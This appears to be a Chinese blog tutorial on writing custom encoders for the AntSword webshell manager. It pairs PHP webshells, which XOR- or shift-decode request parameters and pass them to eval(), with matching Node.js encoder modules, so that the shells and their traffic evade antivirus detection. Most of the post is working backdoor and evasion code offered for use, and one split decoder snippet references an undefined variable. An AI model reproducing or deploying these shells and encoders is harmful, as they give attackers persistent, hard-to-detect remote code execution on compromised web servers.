蚁剑编码器——高级

蚁剑编码器------高级

其实也没啥高级不高级的

基于免杀php,把加密,解密分为两层,再把参数作适当的传递即可

先说语法

拿免杀篇最后两个马做演示

第一个

c 复制代码
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
c 复制代码
data['_']为原来的数据
data[pwd]是想要传入的内容,也就是连接参数接受的内容
data['key']以key为参数传入的内容
delete data['_']; 删除原始的内容,不需要传输这个
c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}


$a=$_REQUEST["a"];
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
@eval($a);

加密解密分开写

加密

c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
>

解密

c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }
    return $result;
}
$a=$_REQUEST["a"];
$key=$_REQUEST["b"];
if($key){
    $a = base64_decode(xorEncryptDecrypt($a, $key));
    @eval($a);
}

这里需要传输的是两个参数

c 复制代码
$a=$_REQUEST["a"];
$key=$_REQUEST["b"];

蚁剑是有修改body传参功能的,所以这里有两个方法,第一种,写死$key,蚁剑使用$key编码后,使用body传递值,第二种,随机key,直接在编码器中写好
注意:编码器使用的是node.js写法,写法要修改一下

固定key异或加密

c 复制代码
function xorEncryptDecrypt(data, key) {  
    let keyStr = key.toString();  
    let keyLength = keyStr.length;  
    let result = '';   
    for (let i = 0; i < data.length; i++) {   
        let keyCharCode = keyStr.charCodeAt(i % keyLength);  
        let charCode = data.charCodeAt(i);  
        let xorCharCode = charCode ^ keyCharCode;  
        result += String.fromCharCode(xorCharCode);  
    }  
    return result;  
}  
let plaintext = "";  
let key = "123456789";
let ciphertext = xorEncryptDecrypt(plaintext, key);  

参数替换为蚁剑特有的参数

c 复制代码
'use strict';

module.exports = (pwd, data, ext={}) => {
function xorEncryptDecrypt(data, key) {  
    let keyStr = key.toString();  
    let keyLength = keyStr.length;  
    let result = '';   
    for (let i = 0; i < data.length; i++) {   
        let keyCharCode = keyStr.charCodeAt(i % keyLength);  
        let charCode = data.charCodeAt(i);  
        let xorCharCode = charCode ^ keyCharCode;  
        result += String.fromCharCode(xorCharCode);  
    }  
    return result;  
} 
let key = 123456789; 
data['_']=Buffer.from(data['_']).toString('base64');
data[pwd]=xorEncryptDecrypt(data['_'],key);
delete data['_'];
return data;
}

但是这种方法需要手动在body参数里面传入参数b和内容

蚁剑编码器里给予了一种最为简单传递参数的方式,data['_'],在这个例子中只需要多加一行

data['b']=key;即可

看一下数据包

第二种

c 复制代码
<?php
function simpleTransform($str, $offset = 1) {
    $transformed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $transformed .= chr((ord($str[$i]) + $offset) % 256);
    }
    return $transformed;
}

$original = $_REQUEST["a"];
$transformed = simpleTransform($original, 3);
function reverseTransform($str, $offset = 1) {
    $reversed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
    }
    return $reversed;
}

$reversed = reverseTransform($transformed, 3);
echo eval($reversed);

一样的步骤,加密解密分离

c 复制代码
<?php
$original = $_REQUEST["a"];
$key = $_REQUEST["key"];
function reverseTransform($str, $offset = 1) {
    $reversed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
    }
    return $reversed;
}
$reversed = reverseTransform($transformed, $key);
@eval($reversed);

加密

c 复制代码
module.exports = (pwd, data, ext={}) => {
function simpleTransform(str, offset = 1) {  
    let transformed = '';  
    for (let i = 0; i < str.length; i++) {  
        let code = str.charCodeAt(i);  
        let newCode = (code + offset) % 256;  
        transformed += String.fromCharCode(newCode);  
    }  
    return transformed;  
}  
let random = Math.floor(Math.random() * 6) + 5;
data['_']=Buffer.from(data['_']).toString('base64');
data['key']=random;
data[pwd]=simpleTransform(data['_'],random);
delete data['_'];
return data;
}

这里只是以两个简单的例子作为演示,仅以普通的$_REQUEST来获取内容,可以通过sessions,cookie等方式进行传输,也可以通过其他的方式进行加密

相关推荐
ggs_and_ddu2 小时前
Android--java实现手机亮度控制
android·java·智能手机
zhangphil7 小时前
Android绘图Path基于LinearGradient线性动画渐变,Kotlin(2)
android·kotlin
watl08 小时前
【Android】unzip aar删除冲突classes再zip
android·linux·运维
键盘上的蚂蚁-8 小时前
PHP爬虫类的并发与多线程处理技巧
android
喜欢猪猪9 小时前
Java技术专家视角解读:SQL优化与批处理在大数据处理中的应用及原理
android·python·adb
JasonYin~10 小时前
HarmonyOS NEXT 实战之元服务:静态案例效果---手机查看电量
android·华为·harmonyos
zhangphil10 小时前
Android adb查看某个进程的总线程数
android·adb
抛空11 小时前
Android14 - SystemServer进程的启动与工作流程分析
android
Gerry_Liang13 小时前
记一次 Android 高内存排查
android·性能优化·内存泄露·mat
天天打码14 小时前
ThinkPHP项目如何关闭runtime下Log日志文件记录
android·java·javascript